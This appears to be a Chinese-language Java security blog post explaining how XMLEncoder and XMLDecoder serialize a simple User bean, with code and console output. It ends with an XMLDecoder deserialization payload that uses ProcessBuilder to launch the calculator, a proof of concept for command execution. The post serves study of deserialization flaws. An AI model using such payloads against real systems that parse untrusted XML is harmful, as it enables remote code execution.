XMLDecode

Posted on 2022-09-29 Edited on 2023-04-02 In Java安全

learn

How to use it?

简单地建一个User类并添加 set 、get

package com.xmldecode;

public class User {
    private String Name;
    private String Sex;
    private int Age;

    public User() {
        System.out.println("Constructor has called");
    }

    public User(String name, String sex, int age) {
        System.out.println("有参构造方法被调用");
        this.Name = name;
        this.Sex = sex;
        this.Age = age;
    }

    public void setName(String name) {
        System.out.println("setName has called");
        this.Name = name;
    }

    public void setSex(String sex) {
        System.out.println("setSex has called");
        this.Sex = sex;
    }

    public void setAge(int age) {
        System.out.println("setAge has called");
        this.Age = age;
    }

    public int getAge() {
        System.out.println("getAge has called");
        return this.Age;
    }

    public String getSex() {
        System.out.println("getSex has called");
        return this.Sex;
    }

    public String getName() {
        System.out.println("getName has called");
        return this.Name;
    }

    @Override
    public String toString(){
        return "User{" +
                "Name='" + Name + "'" +
                ", Sex='" + Sex + "'" +
                ", Age=" + Age +
                "}";
    }
}

来encode一下

package com.xmldecode;

import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class testDecode {

    public static void main(String[] args) {
        User user = new User();
        user.setAge(20);
        user.setName("b1ue0cean");
        user.setSex("man");

        try {
            XMLEncoder encoder = new XMLEncoder(new BufferedOutputStream(
                    new FileOutputStream("User.xml")
            ));

            encoder.writeObject(user);
            encoder.close();
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        }
    }

}

生成了

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
 <object class="com.xmldecode.User">
  <void property="age">
   <int>20</int>
  </void>
  <void property="name">
   <string>b1ue0cean</string>
  </void>
  <void property="sex">
   <string>man</string>
  </void>
 </object>
</java>

控制台

Constructor has called
setAge has called
setName has called
setSex has called
Constructor has called
getAge has called
getAge has called
getAge has called
setAge has called
getName has called
getName has called
setName has called
getSex has called
getSex has called
setSex has called

XMLEncoder默认会在序列化时调⽤⽆参构造⽅法以及属性的 get 和 set ⽅法，并且还存在多次调⽤的情况。

XMLDecoder Deserialize

package com.xmldecode;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class deserialize {
    public static void main(String[] args) {
        XMLDecoder xmlDecoder = null;
        try {
            xmlDecoder = new XMLDecoder(
                    new BufferedInputStream(
                            new FileInputStream("User.xml")
                    )
            );
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        }
        Object result = xmlDecoder.readObject();
        xmlDecoder.close();
        System.out.println(result);
    }
}

控制台

Constructor has called
setAge has called
setName has called
setSex has called
User{Name='b1ue0cean', Sex='man', Age=20}

反序列化默认情况下会调⽤属性中的 set ⽅法

Analysis

主要分析一下 readObject

先弹一个计算器 o.o

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1" >
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>